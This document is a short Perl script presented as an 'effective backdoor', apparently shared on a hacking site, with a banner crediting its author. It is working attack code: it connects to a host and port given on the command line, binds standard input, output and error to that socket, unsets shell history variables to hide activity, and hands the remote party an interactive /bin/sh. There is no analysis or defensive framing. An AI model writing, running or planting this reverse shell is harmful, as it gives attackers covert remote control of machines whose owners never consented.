Effective Perl backdoor

#!/usr/bin/perl
use IO::Socket;
$system    = '/bin/sh';
$ARGC=@ARGV;
print "| Sec4Ever Backdoor , CodeD By HaCKeR-MaN |\n\n";
if ($ARGC!=2) {
  print "Usage: $0 [Host] [Port] \n\n";
  die "Ex: $0 127.0.0.1 1337 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Generating shell access \n";
print "[*] Connected to $ARGV[0] \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "\n| Sec4Ever Backdoor , CodeD By HaCKeR-MaN |\n\n";
print "| - - - - - Access Generated :) - - - - - |\n\n";
system("unset HISTFILE;unset SAVEHIST ;id");
system 'export TERM=xterm;exec sh -i';
system($system);
#EOF :p